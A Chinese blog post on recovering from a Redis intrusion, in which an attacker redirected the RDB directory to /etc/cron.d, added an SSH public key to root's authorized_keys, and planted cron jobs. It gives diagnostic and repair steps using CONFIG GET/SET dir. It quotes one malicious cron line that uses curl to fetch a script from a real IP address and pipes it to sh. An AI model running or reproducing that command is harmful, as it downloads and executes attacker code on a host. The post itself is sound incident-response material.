redis被攻击,导致redis连接不上,RDB异常解决方案

1.出现问题:

  • redis连接出现以下报错

Failed opening the RDB file root (in server root dir /etc/cron.d) for saving
  • 服务连接redis出现以下报错,导致服务崩溃

Caused by: io.lettuce.core.RedisCommandExecutionException: MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
  • 意思是当前redis服务是以 RDB快照方式进行持久化,但是现在不能将数据持久化到硬盘,因此报错

  • redis日志报错: Failed opening the RDB file ntp (in server root dir /etc/cron.d) for saving: Permission denied

2.错误排查:

  • 1.查询redis配置文件搜索dir路径为 "/var/lib/redis"

  • 2.通过redis客户端查询dir配置: CONFIG GET dir 发现返回为"/etc/cron.d"跟我们配置不一样,已经被串改

  • 3.查询reids所属用户发现没被串改掉,如已被篡改为root用户,那么你们服务器可能就不止reids有问题了,甚至你们的服务器已经被黑的用不了了

3.解决方案

如果没被串改请讲dir改回值我们配置文件的路径,将redis不到对外开放,只能我们当前服务器才可已连接

临时解决步骤:

  • 1.设置reids的dir目录 CONFIG SET dir /var/lib/redis (dir后面的路径为redis配置中我们配置的路径)

  • 2.再次查询目录: CONFIG GET dir 重启redis,即可恢复正常,为防止再次中招可将redis不对外

如果已被篡改

  • 1.既然被人做了手脚那就赶紧看 /root/.ssh目录下的 authorized_keys文件,果然被人添了公钥

cat authorized_keys

那这个公钥的主人就能随时不用密码使用root账号登录到我的服务器了

  • 2.这个人既然想在 /etc/cron.d下添加ntp文件,必定是要在我的服务器上添加定时器,进入/var/spool/cron目录果然看到一堆乱七八糟的文件,看下其中一个文件的内容

*/2 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh 
...

这是要定时去执行这个服务器上的脚本

临时解决步骤:

1.删除 authorized_keys文件里的内容
2.删除/etc/cron.d目录下的定时任务文件
3..设置reids的dir目录
CONFIG SET dir /var/lib/redis (dir后面的路径为redis配置中我们配置的路径)
4..再次查询目录:
CONFIG GET dir
重启redis,即可恢复正常,请加强你们的redis安全服务

 

posted @ 2021-12-31 15:16  赶星而至  阅读(1393)  评论(0编辑  收藏  举报